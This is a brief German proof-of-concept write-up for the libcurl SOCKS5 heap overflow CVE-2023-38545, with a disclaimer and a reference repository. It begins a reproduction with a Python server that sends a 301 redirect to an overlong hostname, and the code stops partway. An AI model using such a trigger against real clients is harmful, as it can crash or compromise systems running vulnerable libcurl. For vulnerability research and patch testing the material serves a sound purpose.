
Proof-of-Concept-Exploit für CVE-2023-38545, einen Heap-Pufferüberlauf im SOCKS5-Proxy-Handshake von libcurl, der über eine bösartige HTTP-301-Weiterleitung mit einem übermäßig langen Hostnamen ausgelöst wird.
Dieser Artikel dient nur der technischen Diskussion und dem Lernen. Für alle direkten oder indirekten Konsequenzen und Verluste, die durch die Nutzung der in diesem Artikel bereitgestellten Informationen entstehen, ist allein der Nutzer verantwortlich. Der Autor des Artikels übernimmt keinerlei Verantwortung.
Referenzprojekt: https://github.com/UTsweetyfish/CVE-2023-38545 Eine Reproduktion durchführen
1. Erstelle die Python-Datei: server.py, starte einen Webservice, der eine 301-Antwort mit einem überlangen Hostnamen zurückgibt und auf Port 8000 lauscht, und führe ihn dann mit python3 aus:```jsx
from http.server import BaseHTTPRequestHandler, HTTPServer
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
# 301重定向到超长的URL
self.send_response(301)